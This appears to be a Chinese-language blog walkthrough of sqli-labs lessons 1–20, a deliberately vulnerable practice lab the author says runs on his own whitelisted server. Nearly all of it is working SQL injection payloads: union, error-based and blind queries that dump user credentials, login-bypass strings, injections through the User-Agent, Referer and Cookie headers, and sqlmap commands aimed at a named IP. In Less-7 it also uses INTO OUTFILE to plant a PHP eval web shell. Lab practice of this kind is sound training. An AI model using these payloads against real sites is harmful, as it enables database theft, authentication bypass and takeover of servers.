基础汇总-sqlilab-Less-1-20

* sqlmap扫描的时候会将缓存的数据记录到output文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加--flush-session选项

* 关于sqlilab的所有题目,其中?id=1 这个数字1可以随意变化,可以是负数,可以是目标不存在的数字等,本例中一般使用?id=-1,sqlmap注入的时候就?id=1

* 演示的靶机是自己购买的VPS搭建,做了白名单限制!!!

Less-1 基于GET的显错字符型注入

手动注入

联合查询注入
?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

报错注入1 --- 需要手动修改limit+0,1 进行结果偏移
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

报错注入2 --- 需要手动修改limit+0,1 进行结果偏移
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

布尔盲注 --- 数据库第一个字母是s
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+

时间延时注入 --- 数据库第一个字母ascii码是115 就是s
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

sqlmap注入

联合查询注入
python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入
python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

参考:https://www.cnblogs.com/autopwn/p/13410694.html --- 手工联合查询注入

 

Less-2 基于GET的显错数字型注入
这里跟Less-1注入方式一样,只需要去掉单引号即可

手工联合查询注入

爆库
?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表
?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆users表中的字段
?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据
?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

----------------------------------------------------------------------------------------------------------------------------

手工报错注入
爆表
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆表中的数据
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
或者
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

sqlmap注入

联合查询注入
python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入
python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


Less-3 基于GET的显错单引号变形字符串注入
这里跟Less-1注入方式一样,不过就是在加个单引号的同时再加个) 进行注入

手工联合查询注入

爆库
?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表
?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆users表中的字段
?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据
?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

----------------------------------------------------------------------------------------------------------------------------

手工报错注入
爆表
?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段
?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆表中的数据
?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
或者
?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

sqlmap注入

联合查询注入
python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入
python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


Less-4 基于GET的显错单引号变形字符串注入
这里跟Less-3注入方式一样,不过就是将单引号改成双引号

手工联合查询注入

爆库
?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表
?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆users表中的字段
?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据
?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

----------------------------------------------------------------------------------------------------------------------------

手工报错注入
爆表
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆表中的数据
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
或者
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

sqlmap注入

联合查询注入
python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入
python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


Less-5 基于GET的单引号字符串注入-(双注入,不回显查询结果)
这里跟Less-1注入方式一样,但是做了调整为不显示查询的结果,所以这里是不能使用联合查询的注入方式进行注入

手工延时注入

爆库
?id=1' and if(length(database())=8,sleep(5),1)--+ 如果是延时查询了,说明当前当前查询的sql语句被正常执行,数据库存在8个字符
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
?id=1' and if(left(database(),2)='se',sleep(5),1)--+
?id=1' and if(left(database(),3)='sec',sleep(5),1)--+
?id=1' and if(left(database(),4)='secu',sleep(5),1)--+
?id=1' and if(left(database(),5)='secur',sleep(5),1)--+
?id=1' and if(left(database(),6)='securi',sleep(5),1)--+
?id=1' and if(left(database(),7)='securit',sleep(5),1)--+
?id=1' and if(left(database(),8)='security',sleep(5),1)--+
上述依次执行查询都会延时说明是正常执行,存在数据库security

爆表
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

爆字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+ 这里执行有点问题,待查找

爆表中的数据
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

--------------------------------------------------------------------------------------------------------------------------

手工报错注入
爆表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆表中的数据
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
或者
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

看到网上一篇文章双查询注入
http://www.2cto.com/article/201303/192718.html

爆库
?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
或者
?id=1' union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

爆用户
?id=1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

爆表名
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

爆字段
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

爆字段信息
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+


sqlmap注入

联合查询注入
不能注入

报错注入
python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

=================================================================================================================================

Less-6 基于GET的单引号字符串注入-(双注入,不回显查询结果)
跟Less-5注入方式一样,只是这里是由上题的单引号变成了双引号,其他的都一样做了调整为不显示查询的结果,所以这里是不能使用联合查询的注入方式进行注入

=================================================================================================================================

Less-7 导出文件的形式基于GET的字符型注入
仅支持布尔型盲注和时间延时型盲注

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-7/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-7/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

手工写入一句话,写文件,我这里的靶机是docker搭建的,默认权限是755,由于通过注入的方式写入文件,权限是mysql用户写文件,所以进入docker使用chmod -R /var/www/html/ 给其所有权限,如果还是不行就在配置文件中添加secure-file-priv

http://106.54.35.126/Less-7?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "/var/www/html/Less-7/bmfx.php"--+

http://106.54.35.126/Less-7?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+

Less-8 布尔型单引号基于GET的字符型注入
仅支持布尔型盲注和时间延时型盲注 ,这里跟Less-7一样,只是变成了单引号进行注入

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-8/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-8/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


=================================================================================================================================

Less-9 基于时间延时的单引号GET请求盲注

仅时间延时型盲注,跟Less-1是一样的,只是拼接的方式不一样,不管怎么输入都是显示You are in....... 所以只能时间型盲注 输入' or 1=1--+进行注入

手工延时注入

爆库
?id=1' and if(length(database())=8 , sleep(3), 1) --+ 这里的数字8从1试到8 发现执行到8的时候明显演示,那么可以确认目标靶机数据库是8个字符
?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+ 然后这里就开始猜测每个字母,看是否是在执行的时候延时 可以猜出最终库名security

爆表
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+ 慢慢猜一个一个字母猜,记得修改limit的位置数字和要被猜测的字母

爆字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+ 慢慢修改limit和要猜测的值

爆值
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+ 慢慢修改limit和要猜测的

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-9/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


=================================================================================================================================

Less-10 基于错误型POST请求单引号字符注入

仅时间延时型盲注,跟Less-9是一模一样的,只是拼接的方式不一样,不管怎么输入都是显示You are in....... 所以只能时间型盲注 输入" or 1=1--+进行注入

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-10/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

=================================================================================================================================

Less-11 基于错误POST请求单引号字符型注入

这里是POST请求的注入,也是经典的万能密码注入点,具体看看下面的注入方式

通过注释密码进行成功注入登陆 mysql注释的两种方式 --+或者# --这个后面有时候也可以是空格,推荐使用+,稳定靠谱
uname=admin'--+&passwd=bmfx&submit=Submit (注入这里必须用户名是admin,密码不写或者随便输入都可以)
uname=admin'#&passwd=bmfx&submit=Submit (注入这里必须用户名是admin,密码不写或者随便输入都可以)

通过构造查询语句永恒为真进行注入登陆
uname=bmfx&passwd=shit' or 998--+&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)
uname=bmfx&passwd=shit' || 998--+&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)
uname=bmfx&passwd=shit' or 998#&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)
uname=bmfx&passwd=shit' || 998#&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后注释后面的语句段)

# 闭合后面语句 并 添加一个永真条件
uname=bmfx&passwd=shit' or '998' = '998&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后闭合后面的语句段)
uname=bmfx&passwd=shit' || '998' = '998&submit=Submit (注入这里用户名和密码随便输入都可以,前提是构造永恒条件然后闭合后面的语句段)

上述测试的过程中使用burpsuite测试效果非常好,使用hackbar测试有问题

联合查询注入

uname=admin&passwd=bmfx'union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#

报错注入

uname=bmfx&passwd=bmfx'AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
或者
uname=bmfx&passwd=bmfx' AND (SELECT 1 FROM(SELECT count(*),CONCAT((SELECT (SELECT (SELECT CONCAT(0x7e,0x27,cast(username AS CHAR),0x27,0x7e) FROM users LIMIT 3,1)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 1=1#&submit=Submit

sqlmap注入

POST /Less-11/ HTTP/1.1
Host: 106.54.35.126
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://106.54.35.126/Less-11/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

uname=bmfx&passwd=shit&submit=Submit


联合查询注入
python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs --batch

报错注入
python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

布尔盲注
python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs --batch

时间延时盲注
python sqlmap.py -r less11.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

这里也是可以使用--data参数
python sqlmap.py -u http://106.54.35.126/Less-11/?id=1 --data="uname=bmfx&passwd=shit&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3


==============================================================================================================================

Less-12 基于错误POST请求双引号字符型注入

这里是POST请求的注入,理论是跟Less-11是一样的,只是闭合方式是双引号,但是看实际代码发现是带有括号,而且使用注释--+和#都不行,那么这里不适用注释,只能做到前面闭合,中间查询语句,后面报错

报错注入

爆库
uname=bmfx" and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit

爆表
uname=bmfx" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and "&passwd=bmfx&submit=Submit

爆字段
uname=bmfx" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and "&passwd=bmfx&submit=Submit

爆字段值
uname=bmfx" and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and "&passwd=bmfx&submit=Submit

联合查询注入
爆库
uname=bmfx") union select 1,database() --+&passwd=bmfx&submit=Submit

爆表
uname=bmfx") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=bmfx&submit=Submit

爆users表中的字段
uname=bmfx") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=bmfx&submit=Submit

爆数据
uname=bmfx") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) --+&passwd=bmfx&submit=Submit

这里可以使用万能密码admin")#

==============================================================================================================================

Less-13 基于POST请求单引号字符型双注入

这里是POST请求的注入,跟Less-12一样,只是改变成了单引号,加了括号,由于这个没有回显,那么无法进行联合查询注入

报错注入
uname=bmfx') and extractvalue(1,concat(0x7e,(select database()))) and ('&passwd=bmfx&submit=Submit

其他跟Less-12一样

python sqlmap.py -r less13.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

==============================================================================================================================

Less-14 基于POST请求单引号字符型双注入

POST请求注入,跟Less-13一样,只是拼接方式不一样,这是是改成双引号,没有加括号

报错注入
uname=bmfx" and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit

聚合函数随机性注入
uname=" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=bmfx&submit=Submit

=================================================================================================================================

Less-15 基于POST请求单引号的布尔型和时间型盲注

布尔型盲注
uname=admin' and 998=998 --+&passwd=admin&submit=Submit 登陆成功
uname=admin' and 998=999 --+&passwd=admin&submit=Submit 登陆失败

时间延时盲注
uname=admin' and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

爆库
uname=admin' and if(length(database())=8,sleep(8),1)--+&passwd=shit&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(8),1)--+&passwd=shit&submit=Submit
上面慢慢的猜测数据库security

爆表
uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(8),1)--+&passwd=shit&submit=Submit

爆字段
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(8),1)--+&passwd=shit&submit=Submit

爆字段信息
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(8),1)--+&passwd=shit&submit=Submit

sqlmap注入

时间型盲注
python sqlmap.py -r less15.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

==============================================================================================================================

Less-16 基于POST请求双引号的布尔型和时间型盲注

这里和Less-15一样的,只是需要将单引号改成")即可

布尔型盲注
uname=admin") and 998=998 --+&passwd=admin&submit=Submit 登陆成功
uname=admin") and 998=999 --+&passwd=admin&submit=Submit 登陆失败

时间延时盲注
uname=admin") and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

sqlmap注入

时间型盲注
python sqlmap.py -r less16.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch
这里sqlmap注入测试发现是需要加入level和risk,不然注入不出来

万能密码
admin")#


==============================================================================================================================

Less-17 基于POST请求显错更新查询注入

此关卡对uname进行了过滤,但是没有对password进行过滤,具体过滤函数如下:

截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(')引号(")、反斜线(\)与 NULL(NULL)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换

报错注入,直接得出账户和密码
uname=admin&passwd=998' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

报错注入,有关于使用updatexml()它和extractvaule()这两个的注入尽量使用这两个,因为速度快

爆版本
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+ &submit=Submit

爆库
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ &submit=Submit

爆表名
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+&submit=Submit

爆字段
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

爆用户名
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

爆密码
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

sqlmap注入

报错注入
python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

布尔盲注
python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs --batch

时间型盲注
python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

==============================================================================================================================

Less-18 基于错误的用户代理头部注入

$_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。

$_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。

$_SERVER['REMOTE_ADDR'],客户端不能伪造。

所以这里的 IP 是无法被伪造的,这里只能通过修改User-Agent来进行注入

爆库
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

这里的手工注入和Less-12里面的手工注入语句一样

sqlmap注入

报错注入
python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

布尔盲注
python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

时间型盲注
python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch

==============================================================================================================================

Less-19 基于错误的头部Refer注入

这里的手工注入和Less-12里面的手工注入语句一样,只不过这里是考察同refer进行注入

爆库
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

爆版本
'and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '

sqlmap注入

报错注入
python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

布尔盲注
python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

时间型盲注
python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch


===============================================================================================================================

Less-20 基于错误的Cookie头注入

看了源码,确认是可以在cookie头进行SQL注入,通过正常访问Less-20,使用burpsuite进行抓包,获得如下信息:

GET /Less-20/ HTTP/1.1
Host: 106.54.35.126
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

在此get请求中添加cookie头进行注入,例如:

GET /Less-20/ HTTP/1.1
Host: 106.54.35.126
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: uname=admin' and 998=999 union select 1,2,database()--+

上述直接爆库

联合查询注入

爆库
uname=admin' and 998=999 union select 1,2,database()--+

爆表
uname=admin' and 998=999 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆users表中的字段
uname=admin' and 998=999 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆数据
uname=admin' and 998=999 union select 1,2,(SELECT GROUP_CONCAT(username,password) FROM users)--+

报错注入(extractvalue)

爆库
uname=admin' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

爆版本
uname=admin' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+

爆表
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆字段值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

报错注入(updatexml)
爆版本
uname=admin' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

爆库
uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

爆表名
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+

爆字段
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+


sqlmap注入

报错注入
python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=E -v 3 --level=3 --risk=3 --dbs --batch

联合查询注入
python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=U -v 3 --level=3 --risk=3 --dbs --batch

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=B -v 3 --level=3 --risk=3 --dbs --batch

时间型盲注
python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=T -v 3 --level=3 --risk=3 --dbs --batch


===============================================================================================================================

posted @ 2020-09-21 14:43  皇帽讲绿帽带法技巧  阅读(662)  评论(0编辑  收藏  举报